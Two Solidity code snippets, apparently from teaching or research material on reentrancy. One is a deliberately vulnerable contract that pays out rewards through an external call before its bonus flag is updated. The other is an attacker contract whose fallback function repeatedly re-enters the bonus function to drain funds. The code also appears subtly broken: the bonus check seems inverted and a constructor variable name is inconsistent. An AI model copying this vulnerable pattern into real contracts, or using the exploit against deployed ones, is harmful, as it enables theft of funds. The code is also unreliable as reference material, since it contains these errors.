

```
1. contract Vulnerable {
2.   ...
3.   function WithdrawReward(address recipient) public {
4.     uint amountToWithdraw = rewardsForA[recipient];
5.     rewardsForA[recipient] = 0;
6.     if(recipient.call.value(amountToWithdraw)() == false) {
7.       throw;
8.     }
9.   }
10.  function GetFirstWithdrawBonus(address recipient) public {
11.    if (claimedBonus[recipient] == false) {
12.      throw;
13.    }
14.    rewardsForA[recipient] += 100;
15.    WithdrawReward(recipient);
16.    claimedBonus[recipient] = false;
17.  }
18. }
```

```
1. contract Malicious {
2.   ...
3.   function Malicious(address _vulAddr) {
4.     _owner = msg.sender;
5.     vul = _vuladdr;
6.   }
7.   function attack(){
8.     vul.GetFirstWithdrawBonus(_owner);
9.   }
10.  function () payable {
11.    count++;
12.    if (count < 10)
13.      vul.GetFirstWithdrawBonus(_owner);
14.  }
15. }
```